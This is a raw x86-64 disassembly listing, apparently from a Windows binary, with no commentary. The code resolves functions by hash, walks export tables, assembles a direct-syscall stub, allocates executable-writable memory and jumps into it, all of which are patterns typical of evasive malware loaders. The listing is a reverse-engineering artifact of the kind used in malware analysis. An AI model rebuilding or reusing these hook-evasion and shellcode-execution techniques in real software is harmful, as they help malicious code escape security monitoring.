lea rax, [rsp + 0xe8c0]
lea rcx, [rsp + 0xe8b0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe8c0]
mov rcx, qword [rsp + 0x8588]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8590]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1a28], eax
lea rax, [rsp + 0xcfac]
mov qword [rsp + 0x85a8], rax
lea rax, [rsp + 0x1a24]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1a24]
call fcn.14009b310
mov qword [rsp + 0x85a0], rax
lea rax, [rsp + 0xe8d0]
mov rdi, rax
mov rsi, qword [rsp + 0x8598]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe8e0]
lea rcx, [rsp + 0xe8d0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe8e0]
mov rcx, qword [rsp + 0x85a0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x85a8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1a2c], eax
mov r8d, dword [rsp + 0x1a28]
mov edx, dword [rsp + 0x1a2c]
lea rcx, [rsp + 0x3d48]
call fcn.140191150
mov qword [rsp + 0x1250], rax
jmp 0x14012af1d
mov rax, qword [rsp + 0x3d40]
mov rax, qword [rax]
mov qword [rsp + 0x1250], rax
jmp 0x14012af1d
mov qword [rsp + 0x1250], 0
mov rax, qword [rsp + 0x1250]
mov qword [rsp + 0x3d48], rax
lea rcx, [rsp + 0x3d48]
call fcn.1400a2c10
mov qword [rsp + 0x85b0], rax
mov eax, dword [rsp + 0x6370]
mov dword [rsp + 0x1a30], eax
mov rax, qword [rsp + 0x85b0]
mov qword [rsp + 0x85b8], rax
mov eax, dword [rsp + 0x1a30]
mov dword [rsp + 0x1a38], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe8f0]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x85c0], rax
lea r9, [rsp + 0x85b8]
lea r8, [rsp + 0x1a38]
lea rdx, [rsp + 0x12438]
mov rcx, qword [rsp + 0x85c0]
call fcn.140098320
lea rcx, [rsp + 0xe8f0]
call fcn.1400a0f80
lea rcx, [rsp + 0x3d48]
call fcn.1400a2c10
mov qword [rsp + 0x85c8], rax
mov rax, qword [rsp + 0x85c8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1a40], eax
mov eax, dword [rsp + 0x1a40]
mov dword [rsp + 0x6374], eax
lea rax, [rsp + 0x6378]
mov qword [rsp + 0x85d0], rax
mov eax, dword [rsp + 0x6374]
mov dword [rsp + 0x1a48], eax
mov rax, qword [rsp + 0x85d0]
add rax, 0x11
mov qword [rsp + 0x85d8], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x85d8]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x1a48]
mov dword [rax], ecx
lea rax, [rsp + 0x6378]
mov qword [rsp + 0x5b0], rax
mov rax, qword [rsp + 0x5b0]
add rax, 0x10
mov qword [rsp + 0xde48], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x85e0], rax
mov qword [rsp + 0x54b8], 0
mov qword [rsp + 0x85e8], 0xd
mov rax, qword [rsp + 0x85e0]
mov qword [rsp + 0x85f0], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x85e8]
xor r8d, r8d
lea rdx, [rsp + 0x54b8]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x85f0]
mov dword [rsp + 0x1a50], eax
cmp dword [rsp + 0x1a50], 0
jl 0x14012b101
mov rax, qword [rsp + 0x54b8]
mov qword [rsp + 0x54c0], rax
jmp 0x14012b10d
mov qword [rsp + 0x54c0], 0
mov rax, qword [rsp + 0x54c0]
mov qword [rsp + 0x85f8], rax
mov rax, qword [rsp + 0x5b0]
mov rcx, qword [rsp + 0x85f8]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x5b0]
cmp qword [rax + 8], 0
jne 0x14012b142
jmp 0x14012b186
mov rax, qword [rsp + 0x5b0]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x5b0]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x5b0]
mov rcx, qword [rsp + 0x5b0]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6378]
mov qword [rsp + 0x8650], rax
mov rax, qword [rsp + 0x8600]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x8608]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x8610]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x8618]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x8620]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x8628]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x8630]
mov r8, qword [rsp + 0x8638]
mov rdx, qword [rsp + 0x8640]
mov rcx, qword [rsp + 0x8648]
call qword [rsp + 0x8650]
mov dword [rsp + 0x1a54], eax
lea rcx, [rsp + 0x6370]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x1a54]
mov dword [rsp + 0x1a58], eax
cmp dword [rsp + 0x1a58], 0
jge 0x14012b23e
mov byte [rsp + 0x79], 0
jmp 0x14012b243
mov byte [rsp + 0x79], 1
movzx eax, byte [rsp + 0x79]
test eax, eax
je 0x14012b257
cmp qword [rsp + 0x720], 0
jne 0x14012b264
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
mov qword [rsp + 0x5540], 0
lea rax, [rsp + 0x5540]
mov qword [rsp + 0x54d0], rax
mov rax, qword [rsp + 0x720]
add rax, 0x28
mov qword [rsp + 0x54c8], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x8698], rax
cmp qword [rsp + 0x54d0], 0
je 0x14012b2c2
cmp qword [rsp + 0x54c8], 0
je 0x14012b2c2
xor eax, eax
cmp rax, 8
jne 0x14012b2cc
mov byte [rsp + 0x7a], 0
jmp 0x14012c425
lea rax, [rsp + 0xd7f0]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd7f0], 0x33
mov rax, qword [rsp + 0x54c8]
mov qword [rsp + 0xd800], rax
mov rax, qword [rsp + 0x54d0]
mov qword [rsp + 0xd808], rax
mov qword [rsp + 0xd810], 8
mov dword [rsp + 0x1a9c], 0
mov qword [rsp + 0x8660], 0
mov qword [rsp + 0x8668], 0x28
lea rax, [rsp + 0xd7f0]
mov qword [rsp + 0x8670], rax
lea rax, [rsp + 0x12448]
mov qword [rsp + 0x8678], rax
mov qword [rsp + 0x8680], 0
mov qword [rsp + 0x8688], 0
mov qword [rsp + 0x8690], 0
mov dword [rsp + 0x1a5c], 0x9363e455
mov eax, dword [rsp + 0x1a5c]
mov dword [rsp + 0x1a60], eax
lea rcx, [rsp + 0x1a60]
call fcn.1400a2c20
mov dword [rsp + 0x6398], eax
mov dword [rsp + 0x639c], 0
lea rax, [rsp + 0x63a0]
mov qword [rsp + 0x8658], rax
mov dword [rsp + 0x1a98], 0x49
mov dword [rsp + 0x1a94], 0x89
mov dword [rsp + 0x1a90], 0xca
mov dword [rsp + 0x1a8c], 0x48
mov dword [rsp + 0x1a88], 0xc7
mov dword [rsp + 0x1a84], 0xc0
mov dword [rsp + 0x1a80], 0x3f
mov dword [rsp + 0x1a7c], 0x10
mov dword [rsp + 0x1a78], 0
mov dword [rsp + 0x1a74], 0
mov dword [rsp + 0x1a70], 0xf
mov dword [rsp + 0x1a6c], 5
mov dword [rsp + 0x1a68], 0xc3
lea rax, [rsp + 0x1a68]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x1a6c]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1a70]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x1a74]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1a78]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1a7c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1a80]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1a84]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1a88]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1a8c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1a90]
lea r8, [rsp + 0x1a94]
lea rdx, [rsp + 0x1a98]
mov rcx, qword [rsp + 0x8658]
call fcn.14008f900
mov byte [rsp + 0x22c], 1
mov byte [rsp + 0x22d], 0
movsxd rax, dword [rsp + 0x1a9c]
mov qword [rsp + 0x87d0], rax
mov byte [rsp + 0x22e], 0
mov byte [rsp + 0x22f], 0
mov rax, qword [rsp + 0x8660]
mov qword [rsp + 0x87d8], rax
mov byte [rsp + 0x230], 0
mov byte [rsp + 0x231], 1
mov rax, qword [rsp + 0x8668]
mov qword [rsp + 0x87e0], rax
mov byte [rsp + 0x232], 0
mov byte [rsp + 0x233], 0
mov rax, qword [rsp + 0x8670]
mov qword [rsp + 0x87e8], rax
mov byte [rsp + 0x234], 0
mov byte [rsp + 0x235], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0x87f0], rax
mov byte [rsp + 0x236], 0
mov byte [rsp + 0x237], 0
mov rax, qword [rsp + 0x8678]
mov qword [rsp + 0x87f8], rax
mov byte [rsp + 0x238], 0
mov byte [rsp + 0x239], 0
mov rax, qword [rsp + 0x8680]
mov qword [rsp + 0x8800], rax
mov byte [rsp + 0x23a], 0
mov byte [rsp + 0x23b], 0
mov rax, qword [rsp + 0x8688]
mov qword [rsp + 0x8808], rax
mov byte [rsp + 0x23c], 0
mov byte [rsp + 0x23d], 0
mov rax, qword [rsp + 0x8690]
mov qword [rsp + 0x8810], rax
mov byte [rsp + 0x23e], 0
mov byte [rsp + 0x23f], 0
mov rax, qword [rsp + 0x8698]
mov qword [rsp + 0x8818], rax
mov eax, dword [rsp + 0x6398]
mov dword [rsp + 0x1aa0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe900]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x86a0], rax
lea r8, [rsp + 0x1aa0]
lea rdx, [rsp + 0x54d8]
mov rcx, qword [rsp + 0x86a0]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x86a8], rax
lea rdx, [rsp + 0xde50]
mov rcx, qword [rsp + 0x86a8]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x54d8]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14012b6dd
mov qword [rsp + 0x54e0], 0
jmp 0x14012b6f6
lea rcx, [rsp + 0x54d8]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x54e0], rax
mov rax, qword [rsp + 0x54e0]
mov qword [rsp + 0x86b0], rax
lea rcx, [rsp + 0xe900]
call fcn.1400a0f10
mov rax, qword [rsp + 0x86b0]
mov qword [rsp + 0x54e8], rax
cmp qword [rsp + 0x54e8], 0
je 0x14012b753
mov rax, qword [rsp + 0x54e8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1aa8], eax
mov eax, dword [rsp + 0x1aa8]
mov dword [rsp + 0x639c], eax
jmp 0x14012c1e1
lea rax, [rsp + 0xcfb0]
mov qword [rsp + 0x86b8], rax
xor edx, edx
mov rcx, qword [rsp + 0x86b8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1aac], eax
lea rax, [rsp + 0xcfb4]
mov qword [rsp + 0x86c0], rax
mov edx, dword [rsp + 0x6398]
mov rcx, qword [rsp + 0x86c0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1ab0], eax
mov eax, dword [rsp + 0x1aac]
mov dword [rsp + 0x900], eax
mov eax, dword [rsp + 0x1ab0]
mov dword [rsp + 0x918], eax
xor edx, edx
lea rcx, [rsp + 0x1ab4]
call fcn.14009b2f0
lea rdx, [rsp + 0x1ab4]
lea rcx, [rsp + 0x918]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14012b800
mov qword [rsp + 0x1260], 0
jmp 0x14012c0ff
mov byte [rsp + 0x240], 1
mov qword [rsp + 0x6d90], 0
mov qword [rsp + 0x6d98], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3d50], rax
mov eax, 1
test eax, eax
je 0x14012b852
mov rax, qword [rsp + 0x3d50]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x54f0], rax
jmp 0x14012b865
mov rax, qword [rsp + 0x3d50]
mov rax, qword [rax]
mov qword [rsp + 0x54f0], rax
mov rax, qword [rsp + 0x54f0]
mov qword [rsp + 0x6d90], rax
mov rax, qword [rsp + 0x3d50]
mov qword [rsp + 0x6d98], rax
lea rax, [rsp + 0x6d90]
mov qword [rsp + 0x54f8], rax
lea rdx, [rsp + 0x1258]
mov rcx, qword [rsp + 0x54f8]
call fcn.14018efb0
lea rdx, [rsp + 0x86c8]
mov rcx, qword [rsp + 0x54f8]
call fcn.140190a30
jmp 0x14012b8d4
mov rax, qword [rsp + 0x1258]
mov rax, qword [rax]
mov qword [rsp + 0x1258], rax
mov rax, qword [rsp + 0x86c8]
cmp qword [rsp + 0x1258], rax
je 0x14012b8f3
mov dword [rsp + 0x8fc], 1
jmp 0x14012b8fe
mov dword [rsp + 0x8fc], 0
movzx eax, byte [rsp + 0x8fc]
test eax, eax
je 0x14012c0f3
xor edx, edx
mov rcx, qword [rsp + 0x1258]
call fcn.140096d90
mov qword [rsp + 0x86d0], rax
lea rax, [rsp + 0x86d0]
mov qword [rsp + 0x5500], rax
xor edx, edx
lea rcx, [rsp + 0x1ab8]
call fcn.14009b2f0
lea rdx, [rsp + 0x1ab8]
lea rcx, [rsp + 0x900]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012bb9e
mov rax, qword [rsp + 0x5500]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x86d8], rax
lea rdx, [rsp + 0x12458]
mov rcx, qword [rsp + 0x86d8]
call fcn.14019acf0
lea rcx, [rsp + 0xe910]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x900]
mov dword [rsp + 0x1abc], eax
lea rax, [rsp + 0xd200]
lea rcx, [rsp + 0xe910]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1abc]
mov dword [rsp + 0x908], eax
lea rax, [rsp + 0x1ac0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1ac0]
call fcn.14009b310
mov qword [rsp + 0x86e0], rax
lea rax, [rsp + 0xe920]
lea rcx, [rsp + 0xd200]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe930]
lea rcx, [rsp + 0xe920]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe930]
mov rcx, qword [rsp + 0x86e0]
call fcn.140097890
mov dword [rsp + 0x1ac8], eax
lea rcx, [rsp + 0xd200]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x86e8], rax
mov r9, qword [rsp + 0x86e8]
xor r8d, r8d
lea rdx, [rsp + 0xe940]
lea rcx, [rsp + 0xd200]
call fcn.14019ab70
lea rax, [rsp + 0x1ac4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1ac4]
call fcn.14009b310
mov qword [rsp + 0x86f0], rax
lea rax, [rsp + 0xe950]
lea rcx, [rsp + 0xe940]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe960]
lea rcx, [rsp + 0xe950]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe960]
mov rcx, qword [rsp + 0x86f0]
call fcn.140097890
mov dword [rsp + 0x1ad0], eax
mov edx, dword [rsp + 0x1ac8]
lea rcx, [rsp + 0x1acc]
call fcn.14009b2f0
lea rdx, [rsp + 0x1acc]
lea rcx, [rsp + 0x908]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012bb82
mov edx, dword [rsp + 0x1ad0]
lea rcx, [rsp + 0x1ad4]
call fcn.14009b2f0
lea rdx, [rsp + 0x1ad4]
lea rcx, [rsp + 0x908]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012bb82
mov dword [rsp + 0x910], 1
jmp 0x14012bb8d
mov dword [rsp + 0x910], 0
movzx eax, byte [rsp + 0x910]
test eax, eax
je 0x14012bb9e
jmp 0x14012b8c1
mov rax, qword [rsp + 0x5500]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5508], rax
mov rax, qword [rsp + 0x5508]
mov qword [rsp + 0x43c8], rax
mov rax, qword [rsp + 0x5508]
mov qword [rsp + 0x86f8], rax
mov rax, qword [rsp + 0x86f8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x8700], rax
mov rax, qword [rsp + 0x8700]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x8708], rax
mov eax, dword [rsp + 0x8708]
add rax, qword [rsp + 0x43c8]
mov qword [rsp + 0x8710], rax
mov rax, qword [rsp + 0x8710]
mov qword [rsp + 0x43d0], rax
lea rdx, [rsp + 0x918]
lea rcx, [rsp + 0xcfb8]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11b88]
lea rcx, [rsp + 0x43c8]
call fcn.140097040
lea rdx, [rsp + 0x136c8]
lea rcx, [rsp + 0x43c8]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11b88]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14012bc8a
jmp 0x14012b8c1
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14012bd0d
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11b98]
mov qword [rsp + 0x5510], rax
mov rcx, qword [rsp + 0x5510]
call fcn.140097960
mov qword [rsp + 0xde58], rax
mov rcx, qword [rsp + 0x5510]
call fcn.140097950
mov qword [rsp + 0x3d60], rax
mov rax, qword [rsp + 0x3d60]
mov rax, qword [rax]
mov qword [rsp + 0x5528], rax
mov rax, qword [rsp + 0x43c8]
mov qword [rsp + 0x8718], rax
mov rax, qword [rsp + 0x8718]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x8720], rax
mov rax, qword [rsp + 0x8720]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x5518], rax
mov eax, dword [rsp + 0x5518]
add rax, qword [rsp + 0x43c8]
mov qword [rsp + 0x5520], rax
mov eax, dword [rsp + 0x551c]
mov rcx, qword [rsp + 0x5520]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8728], rax
mov rax, qword [rsp + 0x5520]
cmp qword [rsp + 0x5528], rax
jb 0x14012bdff
mov rax, qword [rsp + 0x8728]
cmp qword [rsp + 0x5528], rax
jae 0x14012bdff
mov dword [rsp + 0x920], 1
jmp 0x14012be0a
mov dword [rsp + 0x920], 0
movzx eax, byte [rsp + 0x920]
mov byte [rsp + 0xe3], al
movzx eax, byte [rsp + 0xe3]
test eax, eax
je 0x14012c0d9
mov rax, qword [rsp + 0x3d60]
mov rax, qword [rax]
mov qword [rsp + 0x8730], rax
mov rax, qword [rsp + 0x8730]
mov qword [rsp + 0x8738], rax
lea rax, [rsp + 0x12468]
mov qword [rsp + 0x8740], rax
mov rdx, qword [rsp + 0x8738]
mov rcx, qword [rsp + 0x8740]
call fcn.140095590
lea rcx, [rsp + 0x6af0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6af0]
call fcn.140191090
mov qword [rsp + 0x3d58], rax
cmp qword [rsp + 0x3d58], 0xffffffffffffffff
je 0x14012bf14
mov r9, qword [rsp + 0x3d58]
xor r8d, r8d
lea rdx, [rsp + 0xe980]
lea rcx, [rsp + 0x6af0]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3d58]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xe970]
lea rcx, [rsp + 0x6af0]
call fcn.14019aaa0
lea r8, [rsp + 0xe970]
lea rdx, [rsp + 0xe980]
lea rcx, [rsp + 0x11050]
call fcn.14008f7e0
jmp 0x14012bf4f
lea rax, [rsp + 0x6af0]
mov qword [rsp + 0x8748], rax
lea rcx, [rsp + 0xe990]
call fcn.140099fb0
lea r8, [rsp + 0xe990]
mov rdx, qword [rsp + 0x8748]
lea rcx, [rsp + 0x11050]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11050]
call fcn.140097960
mov qword [rsp + 0x8750], rax
lea rcx, [rsp + 0x11050]
call fcn.140097950
mov qword [rsp + 0x8768], rax
lea rax, [rsp + 0xcfbc]
mov qword [rsp + 0x8760], rax
lea rax, [rsp + 0x1ad8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1ad8]
call fcn.14009b310
mov qword [rsp + 0x8758], rax
lea rax, [rsp + 0xe9a0]
mov rdi, rax
mov rsi, qword [rsp + 0x8750]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe9b0]
lea rcx, [rsp + 0xe9a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe9b0]
mov rcx, qword [rsp + 0x8758]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8760]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1ae0], eax
lea rax, [rsp + 0xcfc0]
mov qword [rsp + 0x8778], rax
lea rax, [rsp + 0x1adc]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1adc]
call fcn.14009b310
mov qword [rsp + 0x8770], rax
lea rax, [rsp + 0xe9c0]
mov rdi, rax
mov rsi, qword [rsp + 0x8768]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe9d0]
lea rcx, [rsp + 0xe9c0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe9d0]
mov rcx, qword [rsp + 0x8770]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8778]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1ae4], eax
mov r8d, dword [rsp + 0x1ae0]
mov edx, dword [rsp + 0x1ae4]
lea rcx, [rsp + 0x3d68]
call fcn.140191150
mov qword [rsp + 0x1260], rax
jmp 0x14012c0ff
mov rax, qword [rsp + 0x3d60]
mov rax, qword [rax]
mov qword [rsp + 0x1260], rax
jmp 0x14012c0ff
mov qword [rsp + 0x1260], 0
mov rax, qword [rsp + 0x1260]
mov qword [rsp + 0x3d68], rax
lea rcx, [rsp + 0x3d68]
call fcn.1400a2c10
mov qword [rsp + 0x8780], rax
mov eax, dword [rsp + 0x6398]
mov dword [rsp + 0x1ae8], eax
mov rax, qword [rsp + 0x8780]
mov qword [rsp + 0x8788], rax
mov eax, dword [rsp + 0x1ae8]
mov dword [rsp + 0x1af0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe9e0]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8790], rax
lea r9, [rsp + 0x8788]
lea r8, [rsp + 0x1af0]
lea rdx, [rsp + 0x12478]
mov rcx, qword [rsp + 0x8790]
call fcn.140098320
lea rcx, [rsp + 0xe9e0]
call fcn.1400a0f80
lea rcx, [rsp + 0x3d68]
call fcn.1400a2c10
mov qword [rsp + 0x8798], rax
mov rax, qword [rsp + 0x8798]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1af8], eax
mov eax, dword [rsp + 0x1af8]
mov dword [rsp + 0x639c], eax
lea rax, [rsp + 0x63a0]
mov qword [rsp + 0x87a0], rax
mov eax, dword [rsp + 0x639c]
mov dword [rsp + 0x1b00], eax
mov rax, qword [rsp + 0x87a0]
add rax, 0x11
mov qword [rsp + 0x87a8], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x87a8]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x1b00]
mov dword [rax], ecx
lea rax, [rsp + 0x63a0]
mov qword [rsp + 0x5b8], rax
mov rax, qword [rsp + 0x5b8]
add rax, 0x10
mov qword [rsp + 0xde60], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x87b0], rax
mov qword [rsp + 0x5530], 0
mov qword [rsp + 0x87b8], 0xd
mov rax, qword [rsp + 0x87b0]
mov qword [rsp + 0x87c0], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x87b8]
xor r8d, r8d
lea rdx, [rsp + 0x5530]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x87c0]
mov dword [rsp + 0x1b08], eax
cmp dword [rsp + 0x1b08], 0
jl 0x14012c2e3
mov rax, qword [rsp + 0x5530]
mov qword [rsp + 0x5538], rax
jmp 0x14012c2ef
mov qword [rsp + 0x5538], 0
mov rax, qword [rsp + 0x5538]
mov qword [rsp + 0x87c8], rax
mov rax, qword [rsp + 0x5b8]
mov rcx, qword [rsp + 0x87c8]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x5b8]
cmp qword [rax + 8], 0
jne 0x14012c324
jmp 0x14012c368
mov rax, qword [rsp + 0x5b8]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x5b8]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x5b8]
mov rcx, qword [rsp + 0x5b8]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x63a0]
mov qword [rsp + 0x8820], rax
mov rax, qword [rsp + 0x87d0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x87d8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x87e0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x87e8]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x87f0]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x87f8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x8800]
mov r8, qword [rsp + 0x8808]
mov rdx, qword [rsp + 0x8810]
mov rcx, qword [rsp + 0x8818]
call qword [rsp + 0x8820]
mov dword [rsp + 0x1b0c], eax
lea rcx, [rsp + 0x6398]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x1b0c]
mov dword [rsp + 0x1b10], eax
cmp dword [rsp + 0x1b10], 0
jge 0x14012c420
mov byte [rsp + 0x7a], 0
jmp 0x14012c425
mov byte [rsp + 0x7a], 1
movzx eax, byte [rsp + 0x7a]
test eax, eax
je 0x14012c439
cmp qword [rsp + 0x5540], 0
jne 0x14012c446
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
mov qword [rsp + 0x1298], 0
lea rax, [rsp + 0x1298]
mov qword [rsp + 0x5550], rax
mov rax, qword [rsp + 0x720]
add rax, 0xe0
mov qword [rsp + 0x5548], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x8868], rax
cmp qword [rsp + 0x5550], 0
je 0x14012c4a6
cmp qword [rsp + 0x5548], 0
je 0x14012c4a6
xor eax, eax
cmp rax, 8
jne 0x14012c4b0
mov byte [rsp + 0x7b], 0
